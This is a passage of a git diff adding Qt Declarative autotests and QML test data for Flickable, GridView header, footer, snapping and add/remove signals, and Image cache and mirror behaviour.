+    QCOMPARE(obj->contentX(), 100.);
+    QCOMPARE(obj->contentY(), 100.);
+    QCOMPARE(obj->contentWidth(), 600.);
+    QCOMPARE(obj->contentHeight(), 600.);
+
+    delete root;
+}
+
+// QtQuick 1.1
+void tst_qdeclarativeflickable::returnToBounds()
+{
+    QDeclarativeEngine engine;
+    QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/resize.qml"));
+    QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(c.create());
+    QDeclarativeFlickable *obj = findItem<QDeclarativeFlickable>(root, "flick");
+
+    QVERIFY(obj != 0);
+    QCOMPARE(obj->contentX(), 0.);
+    QCOMPARE(obj->contentY(), 0.);
+    QCOMPARE(obj->contentWidth(), 300.);
+    QCOMPARE(obj->contentHeight(), 300.);
+
+    obj->setContentX(100);
+    obj->setContentY(400);
+    QTRY_COMPARE(obj->contentX(), 100.);
+    QTRY_COMPARE(obj->contentY(), 400.);
+
+    QMetaObject::invokeMethod(root, "returnToBounds");
+
+    QTRY_COMPARE(obj->contentX(), 0.);
+    QTRY_COMPARE(obj->contentY(), 0.);
+
+    delete root;
+}
+
+void tst_qdeclarativeflickable::testQtQuick11Attributes()
+{
+    QFETCH(QString, code);
+    QFETCH(QString, warning);
+    QFETCH(QString, error);
+
+    QDeclarativeEngine engine;
+    QObject *obj;
+
+    QDeclarativeComponent invalid(&engine);
+    invalid.setData("import QtQuick 1.0; Flickable { " + code.toUtf8() + " }", QUrl(""));
+    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+    obj = invalid.create();
+    QCOMPARE(invalid.errorString(), error);
+    delete obj;
+
+    QDeclarativeComponent valid(&engine);
+    valid.setData("import QtQuick 1.1; Flickable { " + code.toUtf8() + " }", QUrl(""));
+    obj = valid.create();
+    QVERIFY(obj);
+    QVERIFY(valid.errorString().isEmpty());
+    delete obj;
+}
+
+void tst_qdeclarativeflickable::testQtQuick11Attributes_data()
+{
+    QTest::addColumn<QString>("code");
+    QTest::addColumn<QString>("warning");
+    QTest::addColumn<QString>("error");
+
+    QTest::newRow("resizeContent") << "Component.onCompleted: resizeContent(100,100,Qt.point(50,50))"
+            << "<Unknown File>:1: ReferenceError: Can't find variable: resizeContent"
+            << "";
+
+    QTest::newRow("returnToBounds") << "Component.onCompleted: returnToBounds()"
+            << "<Unknown File>:1: ReferenceError: Can't find variable: returnToBounds"
+            << "";
+
+}
+
+void tst_qdeclarativeflickable::wheel()
+{
+    QDeclarativeView *canvas = new QDeclarativeView;
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/wheel.qml"));
+    canvas->show();
+    canvas->setFocus();
+    QVERIFY(canvas->rootObject() != 0);
+
+    QDeclarativeFlickable *flick = canvas->rootObject()->findChild<QDeclarativeFlickable*>("flick");
+    QVERIFY(flick != 0);
+
+    QGraphicsScene *scene = canvas->scene();
+    QGraphicsSceneWheelEvent event(QEvent::GraphicsSceneWheel);
+    event.setScenePos(QPointF(200, 200));
+    event.setDelta(-120);
+    event.setOrientation(Qt::Vertical);
+    event.setAccepted(false);
+    QApplication::sendEvent(scene, &event);
+
+    QTRY_VERIFY(flick->contentY() > 0);
+    QVERIFY(flick->contentX() == 0);
+
+    flick->setContentY(0);
+    QVERIFY(flick->contentY() == 0);
+
+    event.setScenePos(QPointF(200, 200));
+    event.setDelta(-120);
+    event.setOrientation(Qt::Horizontal);
+    event.setAccepted(false);
+    QApplication::sendEvent(scene, &event);
+
+    QTRY_VERIFY(flick->contentX() > 0);
+    QVERIFY(flick->contentY() == 0);
+
+    delete canvas;
+}
+
+
 template<typename T>
 T *tst_qdeclarativeflickable::findItem(QGraphicsObject *parent, const QString &objectName)
 {
diff --git a/tests/auto/declarative/qdeclarativegridview/data/attachedSignals.qml b/tests/auto/declarative/qdeclarativegridview/data/attachedSignals.qml
new file mode 100644
index 0000000..d527e9d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativegridview/data/attachedSignals.qml
@@ -0,0 +1,27 @@
+import QtQuick 1.0
+
+GridView {
+    id: view
+    width: 240; height: 320
+
+    property variant addedDelegates: []
+    property int removedDelegateCount
+
+    model: testModel
+
+    cellWidth: delegateWidth; cellHeight: delegateHeight
+
+    delegate: Rectangle {
+        width: delegateWidth; height: delegateHeight
+        border.width: 1
+        GridView.onAdd: {
+            var obj = GridView.view.addedDelegates
+            obj.push(model.name)
+            GridView.view.addedDelegates = obj
+        }
+        GridView.onRemove: {
+            view.removedDelegateCount += 1
+        }
+    }
+}
+
diff --git a/tests/auto/declarative/qdeclarativegridview/data/footer.qml b/tests/auto/declarative/qdeclarativegridview/data/footer.qml
index ad69a25..b41e2ac 100644
--- a/tests/auto/declarative/qdeclarativegridview/data/footer.qml
+++ b/tests/auto/declarative/qdeclarativegridview/data/footer.qml
@@ -1,6 +1,9 @@
 import QtQuick 1.0
 
 Rectangle {
+    function changeFooter() {
+        grid.footer = footer2
+    }
     width: 240
     height: 320
     color: "#ffffff"
@@ -29,4 +32,9 @@ Rectangle {
         delegate: myDelegate
         footer: Text { objectName: "footer"; text: "Footer"; height: 30 }
     }
+
+    Component {
+        id: footer2
+        Text { objectName: "footer2"; text: "Footer 2"; height: 20 }
+    }
 }
diff --git a/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml b/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml
index 77c94ba..e4e699c 100644
--- a/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml
+++ b/tests/auto/declarative/qdeclarativegridview/data/gridview1.qml
@@ -2,6 +2,8 @@ import QtQuick 1.0
 
 Rectangle {
     id: root
+    property bool showHeader: false
+    property bool showFooter: false
     property int added: -1
     property variant removed
 
@@ -40,6 +42,10 @@ Rectangle {
                 GridView.onAdd: root.added = index
                 GridView.onRemove: root.removed = name
             }
+        },
+        Component {
+            id: headerFooter
+            Rectangle { width: 30; height: 320; color: "blue" }
         }
     ]
     GridView {
@@ -52,5 +58,7 @@ Rectangle {
         flow: (testTopToBottom == false) ? "LeftToRight" : "TopToBottom"
         model: testModel
         delegate: myDelegate
+        header: root.showHeader ? headerFooter : null
+        footer: root.showFooter ? headerFooter : null
     }
 }
diff --git a/tests/auto/declarative/qdeclarativegridview/data/header.qml b/tests/auto/declarative/qdeclarativegridview/data/header.qml
index 99baacd..f39da55 100644
--- a/tests/auto/declarative/qdeclarativegridview/data/header.qml
+++ b/tests/auto/declarative/qdeclarativegridview/data/header.qml
@@ -1,6 +1,9 @@
 import QtQuick 1.0
 
 Rectangle {
+    function changeHeader() {
+        grid.header = header2
+    }
     width: 240
     height: 320
     color: "#ffffff"
@@ -29,4 +32,9 @@ Rectangle {
         delegate: myDelegate
         header: Text { objectName: "header"; text: "Header"; height: 30 }
     }
+
+    Component {
+        id: header2
+        Text { objectName: "header2"; text: "Header 2"; height: 20 }
+    }
 }
diff --git a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp
index 0fac0fc..79189a7 100644
--- a/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp
+++ b/tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp
@@ -78,6 +78,7 @@ private slots:
     void componentChanges();
     void modelChanges();
     void positionViewAtIndex();
+    void snapping();
     void resetModel();
     void enforceRange();
     void QTBUG_8456();
@@ -85,6 +86,12 @@ private slots:
     void footer();
     void header();
     void indexAt();
+    void onAdd();
+    void onAdd_data();
+    void onRemove();
+    void onRemove_data();
+    void testQtQuick11Attributes();
+    void testQtQuick11Attributes_data();
 
 private:
     QDeclarativeView *createView();
@@ -128,6 +135,13 @@ public:
         emit endInsertRows();
     }
 
+    void addItems(const QList<QPair<QString, QString> > &items) {
+        emit beginInsertRows(QModelIndex(), list.count(), list.count()+items.count()-1);
+        for (int i=0; i<items.count(); i++)
+            list.append(QPair<QString,QString>(items[i].first, items[i].second));
+        emit endInsertRows();
+    }
+
     void insertItem(int index, const QString &name, const QString &number) {
         emit beginInsertRows(QModelIndex(), index, index);
         list.insert(index, QPair<QString,QString>(name, number));
@@ -140,6 +154,13 @@ public:
         emit endRemoveRows();
     }
 
+    void removeItems(int index, int count) {
+        emit beginRemoveRows(QModelIndex(), index, index+count-1);
+        while (count--)
+            list.removeAt(index);
+        emit endRemoveRows();
+    }
+
     void moveItem(int from, int to) {
         emit beginMoveRows(QModelIndex(), from, from, QModelIndex(), to);
         list.move(from, to);
@@ -994,6 +1015,7 @@ void tst_QDeclarativeGridView::positionViewAtIndex()
 
     // Position on a currently visible item
     gridview->positionViewAtIndex(4, QDeclarativeGridView::Beginning);
+    QTRY_COMPARE(gridview->indexAt(120, 90), 4);
     QTRY_COMPARE(gridview->contentY(), 60.);
 
     // Confirm items positioned correctly
@@ -1008,6 +1030,7 @@ void tst_QDeclarativeGridView::positionViewAtIndex()
 
     // Position on an item beyond the visible items
     gridview->positionViewAtIndex(21, QDeclarativeGridView::Beginning);
+    QTRY_COMPARE(gridview->indexAt(40, 450), 21);
     QTRY_COMPARE(gridview->contentY(), 420.);
 
     // Confirm items positioned correctly
@@ -1022,6 +1045,7 @@ void tst_QDeclarativeGridView::positionViewAtIndex()
 
     // Position on an item that would leave empty space if positioned at the top
     gridview->positionViewAtIndex(31, QDeclarativeGridView::Beginning);
+    QTRY_COMPARE(gridview->indexAt(120, 630), 31);
     QTRY_COMPARE(gridview->contentY(), 520.);
 
     // Confirm items positioned correctly
@@ -1036,6 +1060,9 @@ void tst_QDeclarativeGridView::positionViewAtIndex()
 
     // Position at the beginning again
     gridview->positionViewAtIndex(0, QDeclarativeGridView::Beginning);
+    QTRY_COMPARE(gridview->indexAt(0, 0), 0);
+    QTRY_COMPARE(gridview->indexAt(40, 30), 0);
+    QTRY_COMPARE(gridview->indexAt(80, 60), 4);
     QTRY_COMPARE(gridview->contentY(), 0.);
 
     // Confirm items positioned correctly
@@ -1089,6 +1116,100 @@ void tst_QDeclarativeGridView::positionViewAtIndex()
     gridview->positionViewAtIndex(20, QDeclarativeGridView::Contain);
     QTRY_COMPARE(gridview->contentY(), 100.);
 
+    // Test for Top To Bottom layout
+    ctxt->setContextProperty("testTopToBottom", QVariant(true));
+
+    // Confirm items positioned correctly
+    itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+    for (int i = 0; i < model.count() && i < itemCount-1; ++i) {
+        QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+        if (!item) qWarning() << "Item" << i << "not found";
+        QTRY_VERIFY(item);
+        QTRY_COMPARE(item->x(), (i/5)*80.);
+        QTRY_COMPARE(item->y(), (i%5)*60.);
+    }
+
+    // Position at End
+    gridview->positionViewAtIndex(30, QDeclarativeGridView::End);
+    QTRY_COMPARE(gridview->contentX(), 320.);
+    QTRY_COMPARE(gridview->contentY(), 0.);
+
+    // Position in Center
+    gridview->positionViewAtIndex(15, QDeclarativeGridView::Center);
+    QTRY_COMPARE(gridview->contentX(), 160.);
+
+    // Ensure at least partially visible
+    gridview->positionViewAtIndex(15, QDeclarativeGridView::Visible);
+    QTRY_COMPARE(gridview->contentX(), 160.);
+
+    gridview->setContentX(170);
+    gridview->positionViewAtIndex(25, QDeclarativeGridView::Visible);
+    QTRY_COMPARE(gridview->contentX(), 170.);
+
+    gridview->positionViewAtIndex(30, QDeclarativeGridView::Visible);
+    QTRY_COMPARE(gridview->contentX(), 320.);
+
+    gridview->setContentX(170);
+    gridview->positionViewAtIndex(25, QDeclarativeGridView::Contain);
+    QTRY_COMPARE(gridview->contentX(), 240.);
+
+    // positionViewAtBeginning
+    gridview->positionViewAtBeginning();
+    QTRY_COMPARE(gridview->contentX(), 0.);
+
+    gridview->setContentX(80);
+    canvas->rootObject()->setProperty("showHeader", true);
+    gridview->positionViewAtBeginning();
+    QTRY_COMPARE(gridview->contentX(), -30.);
+
+    // positionViewAtEnd
+    gridview->positionViewAtEnd();
+    QTRY_COMPARE(gridview->contentX(), 430.);
+
+    gridview->setContentX(80);
+    canvas->rootObject()->setProperty("showFooter", true);
+    gridview->positionViewAtEnd();
+    QTRY_COMPARE(gridview->contentX(), 460.);
+
+    delete canvas;
+}
+
+void tst_QDeclarativeGridView::snapping()
+{
+    QDeclarativeView *canvas = createView();
+
+    TestModel model;
+    for (int i = 0; i < 40; i++)
+        model.addItem("Item" + QString::number(i), "");
+
+    QDeclarativeContext *ctxt = canvas->rootContext();
+    ctxt->setContextProperty("testModel", &model);
+    ctxt->setContextProperty("testTopToBottom", QVariant(false));
+
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml"));
+    qApp->processEvents();
+
+    QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+    QTRY_VERIFY(gridview != 0);
+
+    gridview->setHeight(220);
+    QCOMPARE(gridview->height(), 220.);
+
+    gridview->positionViewAtIndex(12, QDeclarativeGridView::Visible);
+    QCOMPARE(gridview->contentY(), 80.);
+
+    gridview->setContentY(0);
+    QCOMPARE(gridview->contentY(), 0.);
+
+    gridview->setSnapMode(QDeclarativeGridView::SnapToRow);
+    QCOMPARE(gridview->snapMode(), QDeclarativeGridView::SnapToRow);
+
+    gridview->positionViewAtIndex(12, QDeclarativeGridView::Visible);
+    QCOMPARE(gridview->contentY(), 60.);
+
+    gridview->positionViewAtIndex(15, QDeclarativeGridView::End);
+    QCOMPARE(gridview->contentY(), 120.);
+
     delete canvas;
 }
 
@@ -1232,6 +1353,15 @@ void tst_QDeclarativeGridView::manualHighlight()
     QTRY_COMPARE(gridview->currentItem(), findItem<QDeclarativeItem>(contentItem, "wrapper", 2));
     QTRY_COMPARE(gridview->highlightItem()->y() - 5, gridview->currentItem()->y());
     QTRY_COMPARE(gridview->highlightItem()->x() - 5, gridview->currentItem()->x());
+
+    gridview->setFlow(QDeclarativeGridView::TopToBottom);
+    QTRY_COMPARE(gridview->flow(), QDeclarativeGridView::TopToBottom);
+
+    gridview->setCurrentIndex(0);
+    QTRY_COMPARE(gridview->currentIndex(), 0);
+    QTRY_COMPARE(gridview->currentItem(), findItem<QDeclarativeItem>(contentItem, "wrapper", 0));
+    QTRY_COMPARE(gridview->highlightItem()->y() - 5, gridview->currentItem()->y());
+    QTRY_COMPARE(gridview->highlightItem()->x() - 5, gridview->currentItem()->x());
 }
 
 void tst_QDeclarativeGridView::footer()
@@ -1258,12 +1388,27 @@ void tst_QDeclarativeGridView::footer()
     QVERIFY(footer);
 
     QCOMPARE(footer->y(), 180.0);
+    QCOMPARE(footer->height(), 30.0);
 
     model.removeItem(2);
     QTRY_COMPARE(footer->y(), 120.0);
 
     model.clear();
     QTRY_COMPARE(footer->y(), 0.0);
+
+    for (int i = 0; i < 30; i++)
+        model.addItem("Item" + QString::number(i), "");
+
+    QMetaObject::invokeMethod(canvas->rootObject(), "changeFooter");
+
+    footer = findItem<QDeclarativeText>(contentItem, "footer");
+    QVERIFY(!footer);
+    footer = findItem<QDeclarativeText>(contentItem, "footer2");
+    QVERIFY(footer);
+
+    QCOMPARE(footer->y(), 600.0);
+    QCOMPARE(footer->height(), 20.0);
+    QCOMPARE(gridview->contentY(), 0.0);
 }
 
 void tst_QDeclarativeGridView::header()
@@ -1290,6 +1435,7 @@ void tst_QDeclarativeGridView::header()
     QVERIFY(header);
 
     QCOMPARE(header->y(), 0.0);
+    QCOMPARE(header->height(), 30.0);
     QCOMPARE(gridview->contentY(), 0.0);
 
     QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", 0);
@@ -1298,6 +1444,20 @@ void tst_QDeclarativeGridView::header()
 
     model.clear();
     QTRY_COMPARE(header->y(), 0.0);
+
+    for (int i = 0; i < 30; i++)
+        model.addItem("Item" + QString::number(i), "");
+
+    QMetaObject::invokeMethod(canvas->rootObject(), "changeHeader");
+
+    header = findItem<QDeclarativeText>(contentItem, "header");
+    QVERIFY(!header);
+    header = findItem<QDeclarativeText>(contentItem, "header2");
+    QVERIFY(header);
+
+    QCOMPARE(header->y(), 10.0);
+    QCOMPARE(header->height(), 20.0);
+    QCOMPARE(gridview->contentY(), 10.0);
 }
 
 void tst_QDeclarativeGridView::indexAt()
@@ -1337,6 +1497,156 @@ void tst_QDeclarativeGridView::indexAt()
     delete canvas;
 }
 
+void tst_QDeclarativeGridView::onAdd()
+{
+    QFETCH(int, initialItemCount);
+    QFETCH(int, itemsToAdd);
+
+    const int delegateWidth = 50;
+    const int delegateHeight = 100;
+    TestModel model;
+    QDeclarativeView *canvas = createView();
+    canvas->setFixedSize(5 * delegateWidth, 5 * delegateHeight); // just ensure all items fit
+
+    // these initial items should not trigger GridView.onAdd
+    for (int i=0; i<initialItemCount; i++)
+        model.addItem("dummy value", "dummy value");
+
+    QDeclarativeContext *ctxt = canvas->rootContext();
+    ctxt->setContextProperty("testModel", &model);
+    ctxt->setContextProperty("delegateWidth", delegateWidth);
+    ctxt->setContextProperty("delegateHeight", delegateHeight);
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml"));
+
+    QObject *object = canvas->rootObject();
+    object->setProperty("width", canvas->width());
+    object->setProperty("height", canvas->height());
+    qApp->processEvents();
+
+    QList<QPair<QString, QString> > items;
+    for (int i=0; i<itemsToAdd; i++)
+        items << qMakePair(QString("value %1").arg(i), QString::number(i));
+    model.addItems(items);
+
+    qApp->processEvents();
+
+    QVariantList result = object->property("addedDelegates").toList();
+    QCOMPARE(result.count(), items.count());
+    for (int i=0; i<items.count(); i++)
+        QCOMPARE(result[i].toString(), items[i].first);
+
+    delete canvas;
+}
+
+void tst_QDeclarativeGridView::onAdd_data()
+{
+    QTest::addColumn<int>("initialItemCount");
+    QTest::addColumn<int>("itemsToAdd");
+
+    QTest::newRow("0, add 1") << 0 << 1;
+    QTest::newRow("0, add 2") << 0 << 2;
+    QTest::newRow("0, add 10") << 0 << 10;
+
+    QTest::newRow("1, add 1") << 1 << 1;
+    QTest::newRow("1, add 2") << 1 << 2;
+    QTest::newRow("1, add 10") << 1 << 10;
+
+    QTest::newRow("5, add 1") << 5 << 1;
+    QTest::newRow("5, add 2") << 5 << 2;
+    QTest::newRow("5, add 10") << 5 << 10;
+}
+
+void tst_QDeclarativeGridView::onRemove()
+{
+    QFETCH(int, initialItemCount);
+    QFETCH(int, indexToRemove);
+    QFETCH(int, removeCount);
+
+    const int delegateWidth = 50;
+    const int delegateHeight = 100;
+    TestModel model;
+    for (int i=0; i<initialItemCount; i++)
+        model.addItem(QString("value %1").arg(i), "dummy value");
+
+    QDeclarativeView *canvas = createView();
+    QDeclarativeContext *ctxt = canvas->rootContext();
+    ctxt->setContextProperty("testModel", &model);
+    ctxt->setContextProperty("delegateWidth", delegateWidth);
+    ctxt->setContextProperty("delegateHeight", delegateHeight);
+    canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml"));
+    QObject *object = canvas->rootObject();
+
+    qApp->processEvents();
+
+    model.removeItems(indexToRemove, removeCount);
+    qApp->processEvents();
+    QCOMPARE(object->property("removedDelegateCount"), QVariant(removeCount));
+
+    delete canvas;
+}
+
+void tst_QDeclarativeGridView::onRemove_data()
+{
+    QTest::addColumn<int>("initialItemCount");
+    QTest::addColumn<int>("indexToRemove");
+    QTest::addColumn<int>("removeCount");
+
+    QTest::newRow("remove first") << 1 << 0 << 1;
+    QTest::newRow("two items, remove first") << 2 << 0 << 1;
+    QTest::newRow("two items, remove last") << 2 << 1 << 1;
+    QTest::newRow("two items, remove all") << 2 << 0 << 2;
+
+    QTest::newRow("four items, remove first") << 4 << 0 << 1;
+    QTest::newRow("four items, remove 0-2") << 4 << 0 << 2;
+    QTest::newRow("four items, remove 1-3") << 4 << 1 << 2;
+    QTest::newRow("four items, remove 2-4") << 4 << 2 << 2;
+    QTest::newRow("four items, remove last") << 4 << 3 << 1;
+    QTest::newRow("four items, remove all") << 4 << 0 << 4;
+
+    QTest::newRow("ten items, remove 1-8") << 10 << 0 << 8;
+    QTest::newRow("ten items, remove 2-7") << 10 << 2 << 5;
+    QTest::newRow("ten items, remove 4-10") << 10 << 4 << 6;
+}
+
+void tst_QDeclarativeGridView::testQtQuick11Attributes()
+{
+    QFETCH(QString, code);
+    QFETCH(QString, warning);
+    QFETCH(QString, error);
+
+    QDeclarativeEngine engine;
+    QObject *obj;
+
+    QDeclarativeComponent valid(&engine);
+    valid.setData("import QtQuick 1.1; GridView { " + code.toUtf8() + " }", QUrl(""));
+    obj = valid.create();
+    QVERIFY(obj);
+    QVERIFY(valid.errorString().isEmpty());
+    delete obj;
+
+    QDeclarativeComponent invalid(&engine);
+    invalid.setData("import QtQuick 1.0; GridView { " + code.toUtf8() + " }", QUrl(""));
+    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+    obj = invalid.create();
+    QCOMPARE(invalid.errorString(), error);
+    delete obj;
+}
+
+void tst_QDeclarativeGridView::testQtQuick11Attributes_data()
+{
+    QTest::addColumn<QString>("code");
+    QTest::addColumn<QString>("warning");
+    QTest::addColumn<QString>("error");
+
+    QTest::newRow("positionViewAtBeginning") << "Component.onCompleted: positionViewAtBeginning()"
+        << "<Unknown File>:1: ReferenceError: Can't find variable: positionViewAtBeginning"
+        << "";
+
+    QTest::newRow("positionViewAtEnd") << "Component.onCompleted: positionViewAtEnd()"
+        << "<Unknown File>:1: ReferenceError: Can't find variable: positionViewAtEnd"
+        << "";
+}
+
 QDeclarativeView *tst_QDeclarativeGridView::createView()
 {
     QDeclarativeView *canvas = new QDeclarativeView(0);
diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp
index ddecf7e..f1fe2bd 100644
--- a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp
+++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp
@@ -79,6 +79,8 @@ private slots:
     void resized();
     void preserveAspectRatio();
     void smooth();
+    void mirror();
+    void mirror_data();
     void svg();
     void geometry();
     void geometry_data();
@@ -88,6 +90,8 @@ private slots:
     void paintedWidthHeight();
     void sourceSize_QTBUG_14303();
     void nullPixmapPaint();
+    void testQtQuick11Attributes();
+    void testQtQuick11Attributes_data();
 
 private:
     template<typename T>
@@ -124,19 +128,21 @@ void tst_qdeclarativeimage::imageSource_data()
     QTest::addColumn<double>("height");
     QTest::addColumn<bool>("remote");
     QTest::addColumn<bool>("async");
+    QTest::addColumn<bool>("cache");
     QTest::addColumn<QString>("error");
 
-    QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << "";
-    QTest::newRow("local async") << QUrl::fromLocalFile(SRCDIR "/data/colors1.png").toString() << 120.0 << 120.0 << false << true << "";
+    QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << true << "";
+    QTest::newRow("local no cache") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << false << "";
+    QTest::newRow("local async") << QUrl::fromLocalFile(SRCDIR "/data/colors1.png").toString() << 120.0 << 120.0 << false << true << true << "";
     QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString() << 0.0 << 0.0 << false
-        << false << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString();
+        << false << true << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString();
     QTest::newRow("local async not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString() << 0.0 << 0.0 << false
-        << true << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString();
-    QTest::newRow("remote") << SERVER_ADDR "/colors.png" << 120.0 << 120.0 << true << false << "";
-    QTest::newRow("remote redirected") << SERVER_ADDR "/oldcolors.png" << 120.0 << 120.0 << true << false << "";
-    QTest::newRow("remote svg") << SERVER_ADDR "/heart.svg" << 550.0 << 500.0 << true << false << "";
+        << true << true << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString();
+    QTest::newRow("remote") << SERVER_ADDR "/colors.png" << 120.0 << 120.0 << true << false << true << "";
+    QTest::newRow("remote redirected") << SERVER_ADDR "/oldcolors.png" << 120.0 << 120.0 << true << false << false << "";
+    QTest::newRow("remote svg") << SERVER_ADDR "/heart.svg" << 550.0 << 500.0 << true << false << false << "";
     QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.png" << 0.0 << 0.0 << true
-        << false << "file::2:1: QML Image: Error downloading " SERVER_ADDR "/no-such-file.png - server replied: Not found";
+        << false << true << "file::2:1: QML Image: Error downloading " SERVER_ADDR "/no-such-file.png - server replied: Not found";
 
 }
 
@@ -147,6 +153,7 @@ void tst_qdeclarativeimage::imageSource()
     QFETCH(double, height);
     QFETCH(bool, remote);
     QFETCH(bool, async);
+    QFETCH(bool, cache);
     QFETCH(QString, error);
 
     TestHTTPServer server(SERVER_PORT);
@@ -159,8 +166,9 @@ void tst_qdeclarativeimage::imageSource()
     if (!error.isEmpty())
         QTest::ignoreMessage(QtWarningMsg, error.toUtf8());
 
-    QString componentStr = "import QtQuick 1.0\nImage { source: \"" + source + "\"; asynchronous: "
-        + (async ? QLatin1String("true") : QLatin1String("false")) + " }";
+    QString componentStr = "import QtQuick 1.1\nImage { source: \"" + source + "\"; asynchronous: "
+        + (async ? QLatin1String("true") : QLatin1String("false")) + "; cache: "
+        + (cache ? QLatin1String("true") : QLatin1String("false")) + " }";
     QDeclarativeComponent component(&engine);
     component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
     QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
@@ -168,6 +176,13 @@ void tst_qdeclarativeimage::imageSource()
 
     if (async)
         QVERIFY(obj->asynchronous() == true);
+    else
+        QVERIFY(obj->asynchronous() == false);
+
+    if (cache)
+        QVERIFY(obj->cache() == true);
+    else
+        QVERIFY(obj->cache() == false);
 
     if (remote || async)
         QTRY_VERIFY(obj->status() == QDeclarativeImage::Loading);
@@ -259,6 +274,90 @@ void tst_qdeclarativeimage::smooth()
     delete obj;
 }
 
+void tst_qdeclarativeimage::mirror()
+{
+    QFETCH(int, fillMode);
+
+    qreal width = 300;
+    qreal height = 250;
+
+    QString src = QUrl::fromLocalFile(SRCDIR "/data/heart200.png").toString();
+    QString componentStr = "import QtQuick 1.1\nImage { source: \"" + src + "\"; }";
+
+    QDeclarativeComponent component(&engine);
+    component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+    QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+    QVERIFY(obj != 0);
+
+    obj->setProperty("width", width);
+    obj->setProperty("height", height);
+    obj->setFillMode((QDeclarativeImage::FillMode)fillMode);
+    obj->setProperty("mirror", true);
+
+    QGraphicsScene scene;
+    scene.addItem(qobject_cast<QGraphicsObject *>(obj));
+    QPixmap screenshot(width, height);
+    screenshot.fill();
+    QPainter p_screenshot(&screenshot);
+    scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height));
+
+    QPixmap srcPixmap;
+    QVERIFY(srcPixmap.load(SRCDIR "/data/heart200.png"));
+
+    QPixmap expected(width, height);
+    expected.fill();
+    QPainter p_e(&expected);
+    QTransform transform;
+    transform.translate(width, 0).scale(-1, 1.0);
+    p_e.setTransform(transform);
+
+    switch (fillMode) {
+        case QDeclarativeImage::Stretch:
+            p_e.drawPixmap(QRect(0, 0, width, height), srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height()));
+            break;
+        case QDeclarativeImage::PreserveAspectFit:
+            p_e.drawPixmap(QRect(25, 0, width / (width/height), height), srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height()));
+            break;
+        case QDeclarativeImage::PreserveAspectCrop:
+        {
+            qreal ratio = width/srcPixmap.width(); // width is the longer side
+            QRect rect(0, 0, srcPixmap.width()*ratio, srcPixmap.height()*ratio);
+            rect.moveCenter(QRect(0, 0, width, height).center());
+            p_e.drawPixmap(rect, srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height()));
+            break;
+        }
+        case QDeclarativeImage::Tile:
+            p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap);
+            break;
+        case QDeclarativeImage::TileVertically:
+            transform.scale(width / srcPixmap.width(), 1.0);
+            p_e.setTransform(transform);
+            p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap);
+            break;
+        case QDeclarativeImage::TileHorizontally:
+            transform.scale(1.0, height / srcPixmap.height());
+            p_e.setTransform(transform);
+            p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap);
+            break;
+    }
+
+    QCOMPARE(screenshot, expected);
+
+    delete obj;
+}
+
+void tst_qdeclarativeimage::mirror_data()
+{
+    QTest::addColumn<int>("fillMode");
+
+    QTest::newRow("Stretch") << int(QDeclarativeImage::Stretch);
+    QTest::newRow("PreserveAspectFit") << int(QDeclarativeImage::PreserveAspectFit);
+    QTest::newRow("PreserveAspectCrop") << int(QDeclarativeImage::PreserveAspectCrop);
+    QTest::newRow("Tile") << int(QDeclarativeImage::Tile);
+    QTest::newRow("TileVertically") << int(QDeclarativeImage::TileVertically);
+    QTest::newRow("TileHorizontally") << int(QDeclarativeImage::TileHorizontally);
+}
+
 void tst_qdeclarativeimage::svg()
 {
     QString src = QUrl::fromLocalFile(SRCDIR "/data/heart.svg").toString();
